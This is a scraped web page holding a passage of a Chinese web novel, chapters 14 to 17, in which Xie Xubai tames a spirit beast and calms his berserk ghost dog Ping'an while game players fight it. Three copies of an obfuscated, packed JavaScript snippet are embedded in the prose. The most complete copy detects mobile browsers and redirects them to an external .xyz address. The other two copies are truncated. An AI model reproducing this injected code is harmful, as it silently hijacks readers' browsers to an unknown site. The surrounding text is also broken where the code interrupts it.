怨兽能清楚感觉到谢叙白的手指顺着眉心摸到颅内,热意一路绵延,好似轻柔的羽毛扫过耳垂。 和刀斧加身的痛感相比,它不值一提。 却又那么强烈。 怨兽狠狠打了个哆嗦,一双无瞳的眼睛瞪得老大,充满前所未有的震撼:太可怕了,这又是哪门子折磨诡的酷刑? 谢叙白不过摸索一小会儿,便发现怨兽开始撑不住身体,东倒西歪。 “?”这么敏感的吗。 谢叙白皱了眉头,下意识加快速度,终于在某一时刻触碰到三个细微的突起。 其色猩红,略粗,尖头似锥,这便是书中所写的镇针。 钉棺材的钉子被叫做镇钉或镇魂钉,这里的镇针有异曲同工之处。张斌能奴役怨兽,依靠的就是这打下去的三枚镇针。 “接下来可能会很痛,忍着点。”谢叙白拿起消毒后的镊子,顿了顿,补充道,“尽量别喊太大声。” “吼?” 瘫软在沙发上的怨兽还没来得及回头,便感到一阵剧痛袭来,疑惑的叫声瞬间变成凄厉的惨叫,当场破了音:“嗷!!!” 怨魂的叫声,一般只有被作祟的人和奇人异士能够听到,玩家属于后者。 当叫声贯彻云霄,附近监视的几人瞬间精神一振,大喊不妙:“一定是诡王即将进入狂暴状态,让这些怨魂跟着发狂躁动!” 另一边的谢叙白丝毫没有受叫声的影响,干脆利落地拔出两枚镇针。 怨兽最初是痛不欲生,可当那烦人的镇针从头骨中被取出的一刹那,痛楚瞬间消失,取而代之的是空前绝后的舒适感。 它的大脑一片清明,浑身好像有了使不完的劲儿,简直想要对天长啸。 自然而然的,它开始渴望谢叙白取出第三枚镇针,让自己彻底解放。 到那时候,它被禁锢的力量将全部恢复,无人再能压制它、掌控它。 哪怕是拥有它本体头骨的谢叙白,怨兽也有把握在一瞬间将他按倒! 谢叙白忽然瞥了它一眼,仿佛读出它不轨的心思,直接将镊子放在一边,拿起水果刀。 刀锋割破指腹,嫣红的血液凝成一股,顺着皮肤滴落在最后一枚镇针上。 镇针并非凡物,遇到鲜血瞬间激活,像干涸的海绵一样大力吮吸,不消多时便把血液吮了个干净。 整根针宛如被仔细打磨一番,通体剔透光润,犹如上品血玉。 先前提到过,张斌及其同伴在炼化平安的时候遭到反噬,乃至于实力大减。 谢叙白不清楚这事,本着试一试的想法,没想到能一次成功。 奴役印记被覆盖,现在的他对怨兽拥有直接掌控权,不需要言语命令,只用一个简单的意念就能控制对方。 “吼!” 再一次被奴役,当事兽简直要气炸了,伏低身子,爪子前倾,不断发出怨恨和威胁的低吼。 “你对我有敌意,以防万一我必须采取点措施,等解决掉老板张斌,我再放你自由。”谢叙白落下一句,也不管它能不能听进去,转身来到窗边。 他特意选了楼层较高的民宿租住,从他的视角看下去,能一眼望见巷子里的全景。狗子平安趴在窝里,安安静静,似乎睡得正熟。 见玩家们没有被吸引过来,谢叙白的神色也不见轻松。 从刚才开始,他就有种极度不安的感觉,仿佛有什么大事发生。 正当谢叙白陷入沉思时,他忽然感觉到有东西在靠近自己。 是那头怨兽。 刚才它对谢叙白呜嗷直叫,满脸都是敌意和仇恨。 这阵见青年根本不理会自己,却眉眼一弯,对着楼下流露出似水温柔,瞬间不知道抽了哪根筋儿,觍着张不可一世的冷脸就凑了上来。 有镇针的效力在,谢叙白大概能感知到怨兽的情绪。虽说敌意不减,但确实没有要伤害自己的意思。 这头怨兽不同于其他怨魂,不仅实力强大,意志坚强,还能驱使震慑那些比它弱小的怨魂。 谢叙白想让它一起对付张斌,不准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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就像人不吃东西会死,狗子在和他相处的每一天、每一时、每一分、每一秒,都在忍受着抓心挠肝足以致命的饥饿感。 却还对他装作若无其事,摇着尾巴表现得那样开心。 那么长时间……那么长时间他都没有一点察觉! 谢叙白胸口憋闷,心痛得无以复加。 直至快到楼下,他突然刹住脚步。 ——平安之前哪怕忍着饥饿都不愿意伤害他,难道现在就肯喝掉他的血吗? 谢叙白用力揉捏眉心,寻思该怎么让平安乖乖吃饭。 他突然想起来,为了让监视的玩家相信自己的说辞,在超市买了不少自制狗饭的食材。 ……或许可以试试。 谢叙白转身拾级上楼。 在怨兽和阴魂们疑惑的目光下,青年径直走进厨房,袖子反挽到臂弯。 他拿起菜刀,金属色的刀面反射光泽,将皮肤衬得如玉白皙。 不远处,严岳等玩家也带着从医院获取的血袋赶回巷子附近。 他们不清楚诡王会不会满足于冷冻血浆,便使用治愈道具,每人现放一些血,攒满小半盆,有备无患。 玩家们担忧不已:“直接喂食诡王,这方法真的可行?万一诡王饿得发慌,觉得半盆不够,想直接吃人……” “如果行不通,那就只能一战了。”严岳握住张斌给的大砍刀,深吸一口气,看向巷子深处。 15. 第十五章 天色很暗,乌云倾轧,整片大地都被笼罩在一片阴郁之中。 玩家的不请自来明显让巷子里的“居民”很是不满,它们从墙壁树后的阴影里现身,发出阴冷的讥笑。 那笑声似人非人,此起彼伏地回响在老旧的楼房之间。近在背后,近在耳畔,令人毛骨悚然。 此情此景,哪怕是身经百战的严岳等人,都忍不住脊背发凉。 “没事。”严岳沉声稳住众人,“A级诡王副本大家不是没有经历过,都保持镇定,别自乱阵脚。” 轰! 一道闪电垂直砸地,轰然劈开半边天幕,将昏暗的巷子照得亮如白昼。 瘦长的犬形黑影,于惨白雷光中缓慢踱步而出。 它的脚步轻巧无声,脚下有大片浓郁的黑暗随行。瞬间,高空放肆讥笑的阴魂们下意识敛容收声,畏惧地朝它低下头颅。 ——那就是诡王。 当意识到这一点时,玩家们还没有什么实感。 直至犬影抬头,猩红血瞳现于黑暗,漫不经心睨来一眼。 蓦地一股难言的压迫感变作利爪,捏住每一名玩家的心脏,叫他们无法流畅呼吸。 什么叫气势上的绝对碾压? 那就是在对上视线的一刹那,根本生不出一丝反抗的念头,满脑子只想着一个字:跑。 严岳咬牙站了出来,震声表明态度:“尊敬的诡王,请您相信我们并无恶意!” 巷子里的动静不算小,很快传入谢叙白所在的民宿。 谢叙白放下刀,皱着眉头来到窗前,果不其然看见严岳一行人。 见玩家没有手持武器和道具,他稍微放松了点,眉梢舒缓。 只是再一细看,又不免愣住。 谢叙白看见两人分别端着雕刻精美纹路的青花瓷盆,里面盛着浓稠的鲜血。严岳说一句,他们便上前一步,用两只手高捧瓷盆,往前伸出。 从那真诚的姿态和肢体语言不难看出,玩家似乎想将血供奉给平安。 “他们有这么好心?”谢叙白很是意外,第一反应是里面下了毒。 没两秒,他又否认了这个猜测。 并非想为玩家开脱,按照这些人谨慎的行事作风,哪怕已经决定除掉诡王,也只会在走投无路的时候选择铤而走险。 “难道说他们从哪儿得到了提示,知道平安长时间没有进食会很危险,这才跑过来规避风险?” 谢叙白琢磨一下,十有八九是这个答案。 他现在的感觉挺复杂。 如果没有许清然的哭诉在前,在知道玩家想要杀害平安的那一刻,他就不会再理会这群人的死活。 如今,了解到部分内情的谢叙白,仿佛从玩家的身上看到了那两名惨死员工的影子,以及藏在楼道中恐惧失声的自己。 ——还看到了,大家脚底下共同踩着的那条钢丝线。 谢叙白胡思乱想,脑子难得迟钝,靠在窗边,目光往巷子里看去。 狗子平安似乎接受了玩家们的提议,冷漠地抬了抬下巴,密密麻麻的阴魂后退,让出一条通道。 谢叙白顺势看向玩家的脚下,那些堆积着用完的医用血袋。 这群玩家虽然不把人命当回事,但至少没有完全泯灭良知。 更关键是量大。 和这两盆比起来,他放的那点血怕是连开胃小菜都算不上。 不等谢叙白继续看下去,几只阴魂忽然从袖子里钻了出来,挡在窗前。 几个小脑袋瓜的智商,加起来还没九岁小孩高,却懵懵懂懂地知道,让人类亲眼看着诡怪吃掉同族的血肉,是相当残忍的事情。 谢叙白拉了两下没拉动,也就由着它们。 他转身回到灶台前,看着咕噜噜冒泡的肉汤,顿了一下,忽地轻笑道:“没规定吃完正餐后不能再来点饭后甜点,对吧?” “喵~”“汪汪!”…… 小家伙们相当配合地连叫几声,声音软糯甜腻,叫得人心都快化掉。 看着它们活泼可爱的憨态,谢叙白忍不住弯起眸眼,切下几块鲜牛肉递过去。 几小只瞬间双眼放光,争先恐后地上前吸食。 在谢叙白民宿的斜对角,两名玩家站在天台楼顶,拿望远镜观望巷子里的动静。 他们身旁捆着动弹不得的张斌,这会儿正在费力挣扎。因为被堵住嘴,胖男人只能发出唔唔唔的叫声,一双细小的眼睛瞪向两个玩家,充满愤恨。 其中一人问:“他怎么了?” 另一人耸耸肩:“估计是脚抽筋了想翻个身。” “要不要帮帮他?” “别了吧,当心到时候沾染一身晦气,被怨魂给记恨上。” 他们有说有笑,看向张斌时,忍不住露出厌恶的眼神。 自从知道这货就是虐.杀动物的罪魁祸首后,玩家对他的态度瞬间一百八十度大转变,不止因为这人心理变态,还因为如果没有他作妖,这场副本就不会诞生那么多怨魂,更不会提高那么多难度! 眼看张斌像蛆虫一样蠕动到他们的脚边,玩家心里直犯恶心,一脚把他踹了回去。 张斌在地上滚几圈,痛得闷哼,直勾勾地盯着他们看,眼中的恶毒阴狠几乎凝为实质。 另一名玩家被他看得心里发寒:“他不会耍什么阴招吧?” 同伴皱皱眉头:“他能耍什么阴招,我们把他所有东西都搜走了,就给留了身衣服。屠宰场倒闭,他无亲无友,也没别的帮手。为了以防万一,我们还用了几个道具,他不能主动攻击我们,也没法离开这个位置……” 他突然卡壳,心脏一咯噔。 不对劲,确实不对劲。 玩家想起张斌刚才被他们敲晕绑上楼,都没现在这么闹腾。 知道自己跑不掉,又为什么要拼命挣扎? 张斌刚才一直想靠近天台,总不可能是想跳下去。他在看什么……有什么他期待的戏码即将发生? 玩家心里猛然生出不祥的预感,连忙呼叫严岳:“严会长你先别过去,张斌很有可能做了些我们不知道的手脚!” 巷子里的严岳脚步刹停,愕然抬头。 他的失态不是因为耳麦里的喊叫,而是如同警铃一样猝然响起的系统提示音。 【已进入诡王的绝对感知领域,道具“罪恶的斩骨刀(原主张斌)”触发隐藏效果。】 “罪恶的斩骨刀”:这把刀不知道戕害过多少无辜生灵,上面残留着暗红色的斑驳血迹,如同它所犯下的罪恶一样无法洗净。 诸多怨魂将恨意施加在刀身上,借此诅咒刀的原主人永世不得超生。 【主动效果】:对生前被这把刀杀害的怨魂攻击力+200%,且拥有极强的震慑效果。 【隐藏效果(已触发)】:凡与刀主人拥有未解恩怨的诡怪,在注意到这把刀的瞬间怒气值翻2倍。 【怒气值】:受饥饿值、疲累值、情绪等各方面因素影响,满值后直接进入狂暴状态。 怒气值翻倍! 看到隐藏效果的介绍后,所有玩家纷纷眼前一黑。 如果他们没记错的话,刚才鉴定到的诡王怒气值是踏马的76%!! 严岳同样头晕目眩。 在拿到这把斩骨刀的时候,出于谨慎考虑,他用了几遍鉴定术,几次 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所有玩家全部在无法抵挡的压力下倒飞出去,张口吐出大片鲜血,将泥土染红。 还能站起来的,包括严岳在内不超过四人。 再抬头,漆黑夜色挂着一轮血月,瘦长的犬影屹立在无边血色之下。 它弯下头颅,颤抖嘶吼,像忍着剧痛。骨骼疯狂咔嚓作响,躯体像扭曲的皮筋一样不断拉伸变大,一点点地高过树木,高过楼房,直到足以遮天蔽日! “吼——!” 诡王领域展开,所有人无法自行离开。 还能保持清醒的玩家抬头仰望巨兽,瞳孔骤缩,终是彻底失声。 留守巷子外的两名玩家陡然失去其他人的信号,脸色大变。 他们冲到围栏前朝下张望,不见巷子里的任何人影,当即怒不可遏地回头:“张斌你——” 话没说完,尖锐的利爪穿胸而过,两名玩家声音戛然而止,看着被洞穿的胸口,不敢置信地回头。 在道具的影响下,张斌无法直接攻击他们。 可怨魂不是张斌。 为什么……为什么仇恨张斌的怨魂,会来救他? 嘭。 两具尸体重重地倒在地上,睁着眼睛死不瞑目。 张斌让怨魂为自己松绑,接着一脚踩在玩家的脸上,厚重的鞋跟将五官磨得血肉模糊。 他吐了口唾沫,嗤笑道:“要不是看在你们能帮我对付那条畜生的份上,老子能忍你们到现在?” 说着,他又反手抽了那只怨魂狠狠一巴掌,听到怨魂发出痛叫,才稍微解气一点:“刚才看他们踹我,你看得很爽是吧?小畜生崽子!” 张斌知道玩家不知道使用了什么邪术,把他圈.禁在这里,但这正合他意。 他捡起望远镜,看着下面的小巷口。 有秘术加持,他可以直接观看到诡王领域内的状况。 见严岳等人怒吼着冲向诡王,胖男人挑起嘴角,阴寒的笑意愈发浓烈。 发狂后的诡怪脆弱得像一张纸,等玩家将那畜生的力气消耗殆尽,就是他出场坐收渔翁之利的时候。 “我等了这么久,这一天终于要来了!” 想到自己终于能奴役诡王,财富地位近在咫尺,他忍不住暴露本性,发出张狂陶醉的笑声:“打吧!杀吧!为了活命拼尽你们的全力!再也不会有碍事的东西能干扰——” 话没说完。 一道提着塑料桶的瘦削身影出现在巷子口。 16. 第十六章 看到那淡然的、让他深恶痛绝的一张脸,一瞬间,张斌头皮都要炸起来了。 他上次吃闷亏被秘法反噬,元气大伤,就是因为看轻了谢叙白这个路人能够造成的破坏力。 但张斌认为那绝对不是自己的问题。TM的,哪个脑回路正常的人会给濒死的流浪狗喂血? 现在同样的地点,他同样带着即将降服诡王的窃喜,出现了一个同样的人。 张斌忽然冒出一种难以言喻的恐慌感,急匆匆走到玩家尸体旁,摸出小刀。 刀锋划开皮肤,痛得他又忍不住吐出一连串不堪入耳的脏话。他拿手沾满血,勾画出一道极其复杂繁琐的符咒。 原本那阴郁昏暗的天色只笼罩在巷子上空,外面还是蓝天白云。 可随着血字符咒的逐步完成,一阵阴凉的邪风从远方呼啸而止。 尘土翻滚纷飞,树梢疯狂摇晃,眨眼之间,漆黑厚重的浓云挤压天空,电闪雷鸣。 无数怨魂应召而来。 它们高声尖叫、嘶吼,乌云之下全是面容狰狞的鬼影。在符咒的压制下汇聚成一团黑云,朝着青年张牙舞爪地撕咬过去。 张斌亢奋地看着,一张堆满横肉的脸,因嘴角弧度越拉越长而显得格外扭曲:“坏老子好事的小杂种,这次你能不死?” 诡王领域,血月当空。 这时候还能行动的玩家再也顾不上什么浪费不浪费,以最快速度拿出道具治疗队友。 爬起来的玩家更是一秒都不敢耽搁,转身投入战斗。 作为玩家,他们其实拥有很大的优势。 首先,进副本前严岳就以会长的名义提前采购了大量功能性道具,攻击、防御、控制、治愈一应俱全。 其次,因首通试炼关系着全人民的命运,玩家群体甚至有一个类似于“水滴筹”“红十字会”的公益组织帮忙众筹,凡首通次数在4次及以上的高级玩家,都可以在参加每一次的首通试炼前得到额外补助。 刚巧严岳他们这一批素质都不错,得到的补助贼多,相当于荷枪实弹上战场,几乎没有后勤之忧。 但发挥优势的前提是,他们面对的是一般诡怪。 火球、雷电、冰雹风暴…… 五颜六色的攻击效果在巨兽身上如花蕾绽放,几名玩家一边攻击一边双腿甩出残影,系统背包中的道具数量唰唰唰悬崖式减少,阵仗翻天。 反观巨兽,似乎被弄得烦躁,只是抖擞皮毛,伸出爪子那么一挥—— “啊啊啊啊啊!” 至少三名玩家被拍飞出去,骨骼寸断,奄奄一息。 一名高级玩家躲避及时,没有被正面击中。 但哪怕只被气浪蹭到一点,也是剧痛袭身,五脏六腑仿佛颠倒。 看着陆续倒下去的同伴,他痛骂出声:“这打你(哗)!” 就在这时,巷子口缓缓走出来一道清俊的人影。 “快看,是那个NPC!” “找了他整整六个小时,他总算是出现了!” 看到谢叙白出现,玩家们不可谓不惊喜。 但惊喜了没多久,看着几乎无法力挽狂澜的现状,他们又蔫吧下去。 如果谢叙白是在BOSS狂暴前出现,那他们一定会非常高兴。现在BOSS连人都认不清,他们还能指望谢叙白干什么?用他的小胳膊小腿去给BOSS挠痒吗? 仿佛觉得他们还不够绝望,一声系统机械声突兀响起。 【第三波怨魂潮即将来袭。】 地点:诡王领域 难度:B级 数量:超过200,无法计算 【请各位玩家做好迎敌准备。】 在场玩家差点呕出一口老血。 ——活爹啊!BOSS还没打完就出群怪,是嫌弃他们死得还不够快? 可糟糕的消息还没完,继这则提示消息之后,又一道冰冷无情的机械声响起。 【A级诡王“平安”饥饿值抵达阈值,正式进入狂暴状态。攻击力+300%,防御力+300%,攻击速度提升至原来的3倍。】 【叮,检测A级诡王“平安”数值已超过A级阈值,步入S级。】 名称:平安(狂暴状态) 诡怪类型:诡王 等级:S 【提示:无法战胜。】 如果说刚才听到怨魂潮来袭,玩家的心情是气愤。 那么现在,就只剩下茫然。 他们怀疑自己听错了,颤颤巍巍地点看面般,看着那鲜血淋漓的“S级”字样,肺部的空气好像在顷刻间被全部抽空。 ……S级? 怎么会是S级? 这游戏最强大的BOSS不就A级吗?为什么还有S级?为什么还可以更高?! 尖锐嘈杂的狞笑声贯彻云霄,不知数量的怨魂潮近在咫尺。 近处的庞然巨兽张开血盆大口,愤然嘶吼惊天动地。 前所未有的绝望感铺天盖地袭来,玩家第一次陷入迷茫。 ——这里到底是末日,还是地狱? 忽然,身后传来一声着急的呐喊:“谢叙白,快躲开呀!” 扯着嗓子呼喊的人是许清然。 她被气浪震飞出去后难得没有昏迷,但没人想把她拉起来战斗,生怕她一个新人手足无措,反给所有人添乱。 全程,许清然就瘫在角落,头晕目眩。 她不是老玩家,没有经验,S级的诡王在她心里和A级B级差别不大,反正都打不过。 这种心大无知的想法,俗称初生牛犊不怕虎,反而让她奇异地稳住了心态。其他人绝望失声的时候,她却能对谢叙白高喊出声。 结果听到声音的谢叙白不仅没跑,还停下来看了她一眼。 “他是傻的吧?!” 看到这愚蠢的停下来让怨魂咬的行为,其他玩家那叫一个无语和震惊,甚至忘记继续绝望。 可他们预想中谢叙白被怨魂撕成碎片的画面没有出现。 一头巨大的怨兽不知道从哪儿蹿了出来,张嘴冷冷一吼,前排的怨魂纷纷像老鼠见了猫,愣在原地。 所有人的声音戛然而止。 不知何时,高空中的阴魂都飘了下来。 这些随时都在张牙舞爪、发出高高在上的讥笑,仿佛不把所有人类放在眼里的诡王侍从。 此时竟然相当乖顺地落在地上,狰狞的面容消退,露出毛茸茸的可爱模样,向青年微微俯首。 谢叙白朝许清然颔首示意,提着自制狗饭继续往前走。 空气仿佛凝固,整个诡王领域陷入死一般的寂静。 所有玩家在极致的震撼中,不约而同地扭动僵硬的脑袋,呆滞的目光朝青年追随而去。 …… 从全景来看,巷子口堪称一道奇景。 巷子内部被巨型气浪掀了个底朝天,楼房倒塌,树木连根拔起,无数建筑物在高压下化作灰白的齑粉,俨然成为一片荒凉狼藉的废墟。 而巷子口居然还能完整地保留下来,路面干干净净,甚至连掉碎石、树叶和草屑都没有,简直让人感到不可思议。 诡王对领域的掌控炉火纯青。 众多玩家看见诡王能精准地控制破坏范围,灰心消极之余,也不由产生一丝期颐:或许诡王还有残存的理智? 他们猜对了,确实有。 但微乎其微。 早在玩家得到提示时,平安就已经被饥饿感折磨得双眼昏花。 只有饿过肚子的人才知道,当一个人饿到极限,那种强烈到想要不顾一切的渴望感,会直接化作炙热汹涌的火海,将所有的理智吞噬殆尽。 当严岳带着一众玩家出现,手里端着盆诱人的血,一步步朝它靠近的时候。 平安在干什么呢? 它在直勾勾地盯着那青花瓷盆,看着浓稠的血液撞在盆壁上,激荡出旖旎艳红的血花,喉结滚动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他笑着说:“这是我给你做的饭,费心弄了好久的,闻着香不香?” 饥肠辘辘的怪物听不得“饭”字,再度发出恼怒的咆哮:香?你闻起来更香!我需要吃的是血,是肉,是你!不是那些垃圾东西!你这个什么都不懂的人类到底—— 怪物突然卡住。 只因它闻到了饭桶里奇异的、万分吸引它的香味,心里猝然掀起惊涛骇浪,不敢置信地瞪着青年。 青年抬头和它对视。 在那双澄澈温润的眸眼注视下,仿佛一切阴暗血腥的心思都将无处遁形。 怪物忽然感到害怕,怕接下来可能听到的指责,这种恐惧甚至盖过饥饿感,让它忍不住后撤。 不曾想,居然是青年先懊悔不已地道歉。 “对不起,我刚才应该直接下来找你。” “对不起,这么长时间都叫你饿肚子,我真不是个称职的主人,一定不会再有下一次。不委屈了,啊。” “平安,乖平安。”青年伸手,再次唤出它的名,温言细语,那样柔情。他弯起眼睛,亏欠感让他看起来有些难过,每一个字都带着让人融化的热意,“我好想现在就抱抱你。” …… 夜空血月高挂,触目皆是残垣断壁。 巨兽屹立在废墟之上,体格大得仿佛能够遮天蔽日。走近的青年和它比起来,渺小得像是一颗砂砾。 一直以来,没有玩家对谢叙白能够制服诡王抱有奢望。 只因他们事先查过这个NPC的面板数值,是个名副其实的妙脆角,别说打诡王,对上怨魂都只是加菜。 谁想到,此时此刻。 青年只是伸出手,便让狂暴的怪物闭上血盆大口,乖顺地依偎在他的掌心。 17. 第十七章 虽说巨大的体型差让谢叙白无法抱住平安的脑袋,但他还是竭力将手伸展出去,五指没入粗糙干燥的毛发,顺着侧颊往上摸,温柔而不失力道地揉动。 不同于猫会发出呼噜噜的声音,狗子觉得舒服的时候,会疯狂地摇尾巴。 嘭!嘭!…… 巨型尾巴如雷霆疾驰,抽碎地面留下一道道纵横交错的沟壑,霎时间尘烟四起,碎石飞溅。 一边是巨兽朝着青年呜鸣撒娇,一边是砖瓦在大尾巴的暴虐抽打下粉身碎骨,场面那叫一个震撼人心。 谢叙白深知平安还在忍受饥饿感带来的煎熬,没摸两下,便拍了拍大脑袋,示意狗子低头吃饭。 巨兽眸中血色不复刚才的浓郁,似乎恢复了些神智。 它低头看着散发诱人香味的自制狗饭,倏然意识到青年为它做出了怎样的牺牲,僵在原地。 谢叙白和狗子心意相通,揉了揉它,沉声说道:“平安,你要知道,如果你出了什么事,这辈子我都不会原谅自己。” 平安浑身一震。 青年平静地看着它,嘴角依然勾着淡淡的弧度,却让狗子有种分外心痛的感觉,痛得仿佛要窒息。 当谢叙白再次轻拍脑袋让它低头时,它终于不再抗拒,庞大的兽躯迅速变回正常大小,低下头大快朵颐。 青年制作的狗饭很丰富,光荤食就包含有牛肉、鸡肉、鸭肉等诸多品种,坚硬扎胃的蔬菜也被细心地搅成菜泥。 平安用力地咀嚼着,仿佛能感知到青年倾注在里面的心意,眼眶不由得湿了。 谢叙白随即转过身。 刚才还张牙舞爪不可一世的怨魂,现在全像断线风筝一样噼里啪啦摔在地上,龇牙咧嘴,好不狼狈。 但玩家的状态不比这些怨魂好到哪里去。 诡王领域的时间流速和外界不一样,他们不知道在这里战斗了多久,一直到谢叙白进来之前,断断续续朝诡王发起过不下五次冲阵。 虽说有足量的治愈道具做支撑,但那大多都是低级道具,使用次数有限不说,还极其消耗精神力。 到目前为止,废墟之间几乎看不到一个能笔直站着的玩家,要么灰头土脸气喘吁吁,要么血肉模糊奄奄一息。 他们沉浸在灭世危机居然就那么轻而易举被化解掉的喜悦和震撼中,内心久久不能平静。 直至谢叙白朝他们轻描淡写地看过来,一股后知后觉的寒意,顿时顺着心口蔓延至四肢百骸。 事到如今,玩家们再不会天真地以为谢叙白是个可以随意拿捏的路人NPC,能降服诡王的会是什么普通人? 至于为什么鉴定出来的基础数值都低得可怜,那必定是谢叙白有意隐藏自己的真实数值。 明明一根手指头就能碾死你,却愿意装成普通人陪你一起“玩闹”,这何尝不是一种平易近人QAQ。 所以…… 忐忑不安的情绪像雾气般弥漫开,玩家们的视线无法从青年的身上挪开。 仿佛死囚在刑架前等待最后的判决,数颗心脏扑通扑通跳得剧烈。 谢叙白对他们是什么想法,又打算怎么处置他们? 和其他玩家不同,严岳的心中没有一点侥幸心理。 无论是玩家肖元自作主张的偷袭,还是由他做主、试图挟持谢叙白威胁诡王的行为,都足以判下死刑。 看着谢叙白朝他们走来,严岳咬紧牙关,颤颤巍巍从地上撑起身。 可下一秒双腿陡然失力,他又重重地摔了回去。 纵观在场玩家,这个男人似乎是伤得最重的那一个。 左手腕骨折,右小腿折断,胸口被三道抓痕贯穿,伤口裸.露在外,甚至隐约可见森白的骨头,浑身上下不是血就是泥。 按理说手持大量治愈道具,严岳不至于惨成这样,问题在于他打架的时候堪称不要命,道具的治疗速度愣是没赶上他受伤的频率。 对比排行榜上的资深玩家,严岳或许不是最聪明最强大的那一个,但稳重的心性一定排得上号。 突然变得如此疯狂,是因为希望渺茫,决定殊死一搏,也是因为懊悔和自责几乎将他淹没。 如果他大局观再强一点,就不会放任肖元去得罪谢叙白。 如果他再谨慎一点,就不会触发斩骨刀的隐藏效果,带着全部队员送命。 眨眼功夫,脚步声在严岳的面前停下。 青年半蹲下身,清瘦的影子如柳叶般垂落下来,浅淡的气息似轻风徐徐荡开。 严岳就像触电般伸出胳膊肘,摇摇晃晃地撑起上半身。 他的视线顺势抬高,和青年淡然的眸眼对在一起,仿佛站在岸边直面波澜壮阔的大海,瞬间忘记呼吸。 要不要求饶?严岳脑子里忽然冒出个念头。 他的连续首通记录是【5】,别看只有赎回条件【10】的一半,却是踩过近二十多次生死线才抢过来的结果。要知道现有的最高通关记录也不过是【6】。 想起全体公会成员宁愿缩衣节食也要帮他收购道具,严岳的嘴唇就开始疯狂哆嗦,酝酿起求饶的话。 如果真的能求到谢叙白愿意放过他们,那他的首通记录就会变成【6】,离赎回地球更进一步。他们公会的地位也会跟着水涨船高,得到更多的补助积分。 而他只需要在直播镜头外近千万人的注视下,放下可笑的尊严,丢掉所谓的脸面,像狗一样跪下来,恳求谢叙白的宽恕。 “请……” “张斌在哪儿?” 两道声音同时响起,头晕目眩的严岳反应了一会儿,才听清谢叙白问的是什么。 他难得卡壳:“张斌,他就在巷子正对面的居民楼里,我们派了两个人看着他,但他们已经……” 组队模式下,一旦同伴阵亡,都会弹出系统的提示消息。刚才战斗的过程中他们就接到了队员身亡的噩耗。 “节哀。”谢叙白也不知道怎么安慰这些人,轻叹一声。 接着听到严岳补充道:“但张斌逃不掉,我们使用……我们给他下了咒,他没法离开那栋居民楼。” 严岳语速极快,讲明前因后果,直觉这会是谢叙白想听的东西。 果不其然,青年在耐心听完他有气无力的阐述后,当即松了一口气:“很好,听起来你们有听进去我的劝告。” 严岳不确定自己是不是听到了一声温和的轻笑。 他感到一阵风吹过,青年拾取他落在旁边的斩骨刀,起身返回诡王身边。 风将最后一缕浅淡清雅的气息卷走。严岳趴在地上仰起头,只能捕捉到青年逐渐远去的身影,逆光中线条流畅的侧颊仿佛被镀上一层余晖,耀眼夺目。 谢叙白来到平安的面前,狗子已经吃完饭,猩红独瞳炯炯有神地看着他,明摆着精神了不少。 谢叙白揉揉它的脑袋,挑开指尖的创口贴,从伤口处再次逼出几滴血,沿着掌纹勾出一道繁琐的血字符咒。 然后用写有符咒的手掌,隔空摸索狗子的身体。 尾巴、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579664|171587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肚子、脊背、脖颈…… 当冰凉刺骨的项圈和锁链落入自己的手掌时,谢叙白波澜不惊的眸眼倏然一凛,接着抬起斩骨刀,用尽全力,毫不犹豫地劈砍下去! 啪! 仿佛有什么无形却有形的东西应声而碎,清脆的声响传至周遭,所有不明所以的玩家齐齐一惊。 他们看到诡王平安一样露出震惊的神色,紧跟着发出欣喜若狂的咆哮。 “吼!” 纵观全场,或许只有知晓内情的谢叙白,还能气定神闲地站在原地。 他看见狗子完全克制不住喜悦激动地蹦来跳去,微微弯眸,轻拍它的脑袋:“去吧,是时候彻底结束这一切了。” 狗子眷恋地蹭蹭他的掌心,刹那间宛如游龙闪电冲向高空,冲着张斌所在的方位杀去。 当身体成功跨出小巷口的那一刻,它终于忍不住再次发出一声震天动地的吼叫,那样畅快,那样开心。 “吼!!” 眼睁睁看着诡王即将近身,天台上的张斌终于再次露出恐惧的神色。 他腿软跌坐在地上,忙不迭地往后跑,直到一面透明的栅栏挡住他的退路。 “放我走!饶了我,别杀我——!”张斌撕心裂肺地喊。 最后一个字喊完,平安也扑了上来。 所有阴魂跟着它们的诡王一路倾巢出动,露出尖牙利爪,让张斌在极致的痛苦和惊惧中,将他撕成无数块碎片。 玩家没法眺望到诡王领域外的画面,但他们能听到系统提示声。 【叮,恭喜各位玩家达成通关条件,提前完成本场试炼!】 刹那间所有玩家目瞪口呆,不敢相信自己听到了什么。 “……通关了?我们通关了?!” “天啊,谁来掐我一把,真的通关了!不是我的幻觉!” “可我们不是还没有解决掉犬害吗?刚才到底发生了什么?” 话音未落,半透明的虚拟面板便弹了出来,似乎是副本通关后的彩蛋。 虚拟面板幻化成泛黄的羊皮纸,瞬间有了历尽沧桑的质感,古朴的文字在页面间浮现,为了方便阅读,相较繁琐的部分已被解释成大白话。 【佚名于《山河异闻录》中记载: 余幼时下山历练,经过一城,城中有恶犬,百十成群,游于街道,伤人害命,民众苦之久已。 害犬本应就地处决,然官者为平息众怒,竟办戮犬宴,以酷刑虐.犬,载以歌舞欢颜。 百犬毙,怨魂生。 余欲除之,适逢一方士游历至此,见之大喜,谓犬性忠贞,何不驭为仆役? ……犬诡身负神力,可御敌、运货、城建、劳作,不知疲倦。 官者喜笑颜开,竟不顾劝阻,遣人捕杀无害犬,再办戮犬宴。 余阻止不能,无奈离去。 